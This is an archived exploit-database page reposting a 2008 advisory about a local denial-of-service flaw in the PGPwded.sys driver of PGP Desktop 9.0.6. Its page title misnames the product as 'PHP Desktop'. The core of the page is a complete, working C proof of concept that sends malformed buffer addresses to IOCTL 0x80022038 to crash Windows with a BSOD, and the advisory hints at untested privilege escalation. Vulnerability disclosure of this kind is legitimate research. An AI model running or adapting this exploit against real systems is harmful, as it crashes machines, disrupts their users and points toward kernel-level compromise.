what you don't know can hurt you

PHP Desktop 9.0.6 Denial Of Service

PHP Desktop 9.0.6 Denial Of Service
Posted Dec 30, 2008
Authored by Evilcry | Site evilcry.altervista.org

PGP Desktop version 9.0.6 local denial of service exploit that uses PGPwded.sys.

tags | exploit, denial of service, local
MD5 | 8ff8418c7176bd8204f6f1379436f395

PHP Desktop 9.0.6 Denial Of Service

Change Mirror Download
--------------------------[PGP Desktop 9.0.6 Denial Of Service]--------------->


Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM
Profile: http://evilcry.netsons.org
Website: http://evilfingers.com/

Release Date: 23/12/2008

+-------------------------------------------------+
Product: PGP Desktop 9.0.6 [Build 6060] (other version could be affected)
Affected Component: PGPwded.sys
Category: Local Denial of Service (BSOD)
(untested) Local Privilege Escalation
+-------------------------------------------------+



--------------------------[Details]--------------->

PGP Desktop 's PGPweded.sys Driver does not sanitize user supplied input (IOCTL)
and this lead to a Driver Collapse that propagates on the system with a BSOD.

Affected IOCTL is 0x80022038

+-------------------------------------------------+
Device Type: Custom Device Type: 0x8002, 32770
Transfer Type: METHOD_BUFFERED (0x0, 0)
Access Type: FILE_ANY_ACCESS (0x0, 0)
Function Code: 0x80E, 2062
+-------------------------------------------------+

From Crash Dump Analysis we obtain a KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e),
could also exists the possibility of a Local Privilege Escalation, but I've not
checked it =)

+--------------------------------------------------------------------------------------------+
/* PGPwded.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
*
* Author: Giuseppe 'Evilcry' Bonfa'
* E-Mail: evilcry {AT} gmail. {DOT} com
* Website: http://evilcry.netsons.org
*
*/

/*
Since we had publishing problems, we used spaces between escape < char and the include file as shown here: #include < windows.h >, to compile you have to delete the space.

*/
#include < windows.h >
#include < stdio.h >
#include < stdlib.h >

int main(void)
{
HANDLE hDevice;
DWORD Dummy;

system("cls");
printf("\n .:: PGP Enterprise DoS Proof of Concept ::.\n");

hDevice = CreateFileA("\\\\.\\PGPwdef",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("\n Unable to Open PGPwded Device Driver\n");
return EXIT_FAILURE;
}

DeviceIoControl(hDevice, 0x80022038,(LPVOID) 0x80000001, 0, (LPVOID) 0x80000002, 0, &Dummy, (LPOVERLAPPED)NULL);

return EXIT_SUCCESS;
}

+--------------------------------------------------------------------------------------------+



Special Thanks:
To _g_ of orange-bat that developed IOCTL-Proxy a really effective IOCTL Fuzzer
http://www.orange-bat.com/code/ioctl-proxy.zip



Regards,
Giuseppe 'Evilcry' Bonfa'



Disclaimer:
The information in the advisory is believed to be accurate at the time of publishing based
on currently available information. Use of the information constitutes acceptance for use
in an AS IS condition. There is no representation or warranties, either express or implied
by or with respect to anything in this document, and shall not be liable for a ny implied
warranties of merchantability or fitness for a particular purpose or for any indirect special
or consequential damages.


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